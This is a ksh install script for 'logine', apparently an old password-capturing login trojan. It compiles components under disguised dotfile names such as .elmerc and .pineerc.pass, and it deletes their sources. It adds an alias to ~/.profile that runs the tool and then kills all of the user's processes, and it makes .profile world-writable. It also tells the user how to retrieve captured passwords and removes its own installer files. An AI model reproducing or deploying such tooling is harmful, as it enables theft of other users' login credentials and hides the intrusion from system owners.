#!/bin/ksh
# Remember to chmod this file to 700 before running install
cd
echo "DO NOT RUN LOGINE AS ROOT!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "I really hope you wanted this in your home directory"
echo "Compiling..."
gcc -o .elmerc .elmerc.C
CC -o .pineerc.name .pineerc.name.cpp
CC -o .pineerc.pass .pineerc.pass.cpp
chmod 700 ~/logine
chmod 700 ~/.elmercget
rm .elmerc.C
rm .pineerc.name.cpp
rm .pineerc.pass.cpp
echo "Now putting this line into your .profile"
echo "alias doit=\"~/logine \$1;kill -9 -1\""
echo "alias doit=\"~/logine \$1;kill -9 -1\"" >> ~/.profile
chmod 777 ~/.profile
echo "Compile your .profile by typing: . ~/.profile"
echo "and you run it by typing: "
echo "doit whatever.da.server.u.r.using.is.called"
echo "Or edit the file to be the server you use most often"
echo "Now, I'm removing the zip file and the INSTALL file"
echo "That is currently running..."
echo "---------------------------------------------------"
echo "To run, execute the alias by first running your"
echo ".profile or aliases file, and then type: doit"
echo "To retrieve the passwds type ./.elmercget"
echo "This has been a product brought to you by...."
echo "     ------------- RSnake -------------"
echo "rants to be sent to rsnake@ecst.csuchico.edu"
echo "Visit my homepage: http://www.s-alchemy.com/rsnake"
rm ./logine.zip
rm ./INSTALL
